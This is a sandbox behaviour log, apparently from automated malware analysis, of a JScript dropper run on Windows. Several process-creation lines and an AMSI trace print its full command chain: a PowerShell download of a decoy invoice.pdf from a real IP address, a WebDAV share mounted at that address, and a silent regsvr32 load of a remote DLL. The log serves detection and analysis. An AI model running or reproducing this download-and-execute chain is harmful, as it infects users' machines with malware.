Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2192 --field-trial-handle=1576,i,11404387406166749889,7821596643881052678,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\53412407419332.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2192 --field-trial-handle=1576,i,11404387406166749889,7821596643881052678,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\3543.js.csv");ITextStream.WriteLine(" entry:7918 f:fqfpy");ITextStream.WriteLine(" exec:2 f:fqfpy");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
